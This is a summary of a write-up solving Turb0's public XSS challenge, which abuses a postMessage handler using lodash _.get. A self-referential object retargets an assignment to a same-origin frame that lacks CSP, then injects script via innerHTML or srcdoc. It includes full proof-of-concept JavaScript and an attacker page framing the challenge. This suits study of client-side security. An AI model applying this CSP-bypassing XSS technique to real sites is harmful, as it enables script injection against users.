# Solving Turb0’s XSS challenge using recursive object attributes

Turb0's XSS challenge solved by recursive object payload overwriting reqBody to point at a same-origin CSP-less frame's body, then writing innerHTML.

- Payout: Research
- Program: Turb0 XSS Challenge
- Write-up by: Johan Carlsson
- Disclosed: 2025-12-02
- Write-up quality: 8/10
- Original: https://joaxcar.com/blog/2025/12/02/solving-turb0s-xss-challenge-using-recursive-object-attributes/
- Library page: https://bugbountylibrary.com/r/blog%3Ajoaxcar-com-blog-2025-12-02-solving-turb0s-xss-challenge-using-recursive-object-attributes
- Tags: area:web domain:web impact:integrity kind:research platform:research technique:chained technique:source-review vuln:prototype-pollution vuln:xss

**Target:** postMessage handler with lodash _.get and attribute assignment
**Root cause:** reHydrate assigns attacker-controlled values via base.reqBody[to] = val using _.get on the event; a self-referential reqBody lets the first mapping overwrite reqBody itself with a same-origin CSP-less frame's body element, so the second mapping writes innerHTML there.
**Steps:**
1. Frame the challenge page (CSP script-src 'self' 'unsafe-eval') and a same-origin 404 page lacking CSP.
2. Build payload with base={}, mappings=[{from:'source.frames[1].document.body',to:'reqBody'},{from:'data.xss',to:'innerHTML'}], xss='<img src=x onerror=alert(document.domain)>'.
3. Set payload.base.reqBody = payload.base to make reqBody self-referential.
4. postMessage(payload,'*') to frames[0]; first mapping sets base.reqBody to the no-CSP frame's body, second writes innerHTML there, executing the payload.
**How found:** Noted lodash _.get on postMessage event, unused jQuery, implicit toString call in fetch body, and controllable attribute assignment; hypothesized recursive objects could make an assignment overwrite its own target after prototype-pollution attempt failed with Illegal invocation.
**Exploitation:** Attacker page frames target and a CSP-less same-origin page; postMessage with recursive object causes assignment to overwrite reqBody with the CSP-less frame's body element, then innerHTML assignment injects an onerror img executing in the target origin.
**Escalation:** CSP bypass by rendering DOM in a same-origin window without CSP, since innerHTML/srcdoc ignore caller CSP while navigations are blocked.
**Insight:** When a handler writes attacker-controlled keys into an object via a path, a self-referential object (obj.reqBody = obj) lets one mapping retarget the write destination to a same-origin CSP-less frame's DOM node, bypassing CSP via innerHTML/srcdoc.

## Proof of concept (copied exactly from the original report)

**Recursive object payload overwriting reqBody then innerHTML**

```
var payload = {base: {},
 mappings: [{
 from: "source.frames[1].document.body", // window reference to no-CSP window
 to: "reqBody", // overwrite the attribute that is being written to!
 },{
 from: "data.xss", // get our xss payload
 to: "innerHTML", // write to innerHTML
 }],xss: "<img src=x onerror=alert(document.domain)>" // payload
}

payload.base.reqBody = payload.base

frames[0].postMessage(payload,"*")
```

**Full attacker page with two iframes**

```
<script>
 function run() {
 var payload = {
 base: {},
 mappings: [
 {
 from: "source.frames[1].document.body",
 to: "reqBody"
 }, {
 from: "data.xss",
 to: "innerHTML"
 }
 ],
 xss: "<img src=x onerror=alert(document.domain)>"
 }
 payload.base.reqBody = payload.base

 frames[0].postMessage(payload, "*")
 }
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>
<iframe src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ERROR.html"></iframe>
```

**Bonus srcdoc solution via frameElement**

```
var payload = {
 base: {},
 mappings: [
 {
 from: "source.frames[0].frames[0].frameElement",
 to: "reqBody"
 }, {
 from: "data.xss",
 to: "srcdoc"
 }
 ],
 xss: "<script>alert(document.domain)\u003c/script>"
 }
 payload.base.reqBody = payload.base

 frames[0].frames[0].postMessage(payload, "*")
```

